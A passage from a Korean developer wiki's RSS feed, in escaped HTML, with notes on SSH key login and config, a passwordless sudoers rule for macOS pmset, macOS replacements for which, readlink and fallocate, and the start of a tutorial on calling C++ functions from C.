&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod 600 &amp;lt;file&amp;gt;&lt;/code&gt; 명령어를 통해 600으로 권한을 재설정해야 한다.&lt;/p&gt; &lt;p&gt;이후 이 키를 가지고 접속이 가능하다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;ssh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; output.pem user@test.com &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.ssh/config&lt;/code&gt; 에 정보를 기입하고 접속할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# Host 별칭&lt;/span&gt; HostName &lt;span class=&quot;c&quot;&gt;#ssh 접속주소&lt;/span&gt; User &lt;span class=&quot;c&quot;&gt;#ssh 접속 유저명&lt;/span&gt; Port &lt;span class=&quot;c&quot;&gt;# ssh 접속 포트&lt;/span&gt; IdentityFile &lt;span class=&quot;c&quot;&gt;# 개인키 경로&lt;/span&gt; Host sshtest HostName test.com User ubuntu Port 22 IdentityFile ~/.ssh/output.pem &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# ssh 별칭&lt;/span&gt; ssh sshtest &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;p&gt;해당 내용을 시스템 설정 &amp;gt; 일반 &amp;gt; 로그인 항목 에 넣을 경우 완전히 제거할 수 있지만 sudo 비밀번호가 노출된다는 단점이 있다.&lt;/p&gt; &lt;p&gt;따라서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/private/etc/sudoers.d/&lt;/code&gt; 디렉토리에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pmsets&lt;/code&gt; 라는 이름의 파일을 생성하고&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;cd /private/etc/sudoers.d/ touch pmsets &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo vi /private/etc/sudoers.d/pmsets&lt;/code&gt; 명령어를 통해 파일을 열 수 있다. &lt;br /&gt; 다음과 같이 내용을 추가한다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&amp;lt;계정명&amp;gt; ALL = NOPASSWD: /usr/bin/pmset &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_terminal_command.md_img/img_2023-03-27-08-30-25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:w!&lt;/code&gt; 명령을 통해 저장하고 나와 쉘을 하나 더 열어서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo pmset -b disablesleep 1;&lt;/code&gt; 명령을 실행하였을 때 &lt;br /&gt; 비밀번호를 입력하지 않고 실행되는 것을 확인할 수 있다.&lt;/p&gt; &lt;p&gt;sudoers로 진행할 경우 automator에 비밀번호를 평문으로 입력하지 않아도 실행이 된다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_terminal_command.md_img/img_2023-03-27-08-32-42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;h3 id=&quot;macos-안되는-명령어&quot;&gt;macOS 안되는 명령어&lt;/h3&gt; &lt;h4 id=&quot;which&quot;&gt;which&lt;/h4&gt; &lt;p&gt;이건 맥 뿐만 아니라 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zsh&lt;/code&gt; 쉘을 사용하는 모든 사용자의 문제이지만 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;which&lt;/code&gt; 명령이 해당 프로그램의 실제 경로를 가리키는 것이 아닌, alias나 함수 등을 출력한다.&lt;/p&gt; &lt;p&gt;아래 alias를 통해 which 명령어를 bash의 which 명령어로 대체할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;alias &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;which&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;/bin/bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;which which&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;readlink---greadlink&quot;&gt;readlink -&amp;gt; greadlink&lt;/h4&gt; &lt;p&gt;맥에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readlink&lt;/code&gt; 명령어를 사용하려고 하니 오류가 난다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;readlink&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; sslkeylog.log &lt;span class=&quot;nb&quot;&gt;readlink&lt;/span&gt;: illegal option &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; e &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readlink&lt;/code&gt; 대신 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;greadlink&lt;/code&gt; 를 사용하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;greadlink &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /opt/homebrew/bin/fzf /opt/homebrew/Cellar/fzf/0.38.0/bin/fzf &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;greadlink&lt;/code&gt; 옵션은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readlink&lt;/code&gt;와 다른 게 없는 것 같았다.&lt;/p&gt; &lt;h4 id=&quot;fallocate---mkfile&quot;&gt;fallocate -&amp;gt; mkfile&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fallocate -l 1M 1Mtest.txt&lt;/code&gt; 명령어를 통해 1MB의 파일을 생성하려고 했는데 &lt;br /&gt; 맥은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fallocate&lt;/code&gt; 명령어를 지원하지 않는다.&lt;/p&gt; &lt;p&gt;이 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkfile&lt;/code&gt; 명령어를 사용하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;mkfile &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 1m 1Mtest.txt &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Mon, 03 Mar 2025 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/macos/terminal_command</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/macos/terminal_command</guid> <category>macos</category> <category>terminal</category> <category>command</category> <category>macos</category> </item> <item><title>CS HEAD</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;컴퓨터-공학-기초&quot;&gt;컴퓨터 공학 기초&lt;/h1&gt; &lt;p&gt;Preparing…&lt;/p&gt; </description><pubDate>Mon, 06 Jan 2025 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/computer_science/head</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/computer_science/head</guid> <category>cs</category> <category>cs</category> </item> <item><title>리눅스에서 C++ 함수를 C언어세서 사용하기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;C++ 함수를 C언어에서 사용하는 방법은 크게 두 가지가 있다.&lt;/p&gt; &lt;p&gt;정적 라이브러리 (.a) 로 임포트하는 방법과 동적 라이브러리 (.so) 로 임포트하는 방법이다.&lt;/p&gt; &lt;p&gt;이 문서에서는 두 가지 방법을 간단히 알아본다.&lt;/p&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.cpp&lt;/code&gt;&lt;/p&gt; &lt;p&gt;예시를 들어보자. 이런 함수가 존재한다. 이 함수는 두 문자열을 합쳐서 반환하는 함수이다. 그러나 그 과정에서 C++에서만 사용할 수 있는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;std::string&lt;/code&gt; 을 사용하고 있다. 이 함수를 C언어에서 사용하려면 어떻게 해야할까?&lt;/p&gt; &lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;cstdlib&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;cstring&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;str_plustest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.h&lt;/code&gt; 헤더를 만들고 함수의 선언을 넣어준다.&lt;/p&gt; &lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#ifndef __TESTFUNC_H__ #define __TESTFUNC_H__ &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// C++ 함수를 C에서 사용하기 위해 extern &quot;C&quot; 필요&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#ifdef __cplusplus &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#endif &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 여기에 함수 선언을 넣어준다.&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/** * @brief 두 문자열을 합쳐서 반환하는 함수 * 반환하는 과정에서 malloc을 사용하므로 함수 호출 시 반환값에 대한 free가 필요하다. * * @return char* 합쳐진 문자열 (free 필요) */&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_plustest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#ifdef __cplusplus &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#endif &lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#endif /* __TESTFUNC_H__ * &lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;그리고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.cpp&lt;/code&gt; 파일에 testfunc.h 헤더를 include 해준다.&lt;/p&gt; &lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;testfunc.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;cstdlib&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;cstring&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;str_plustest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span 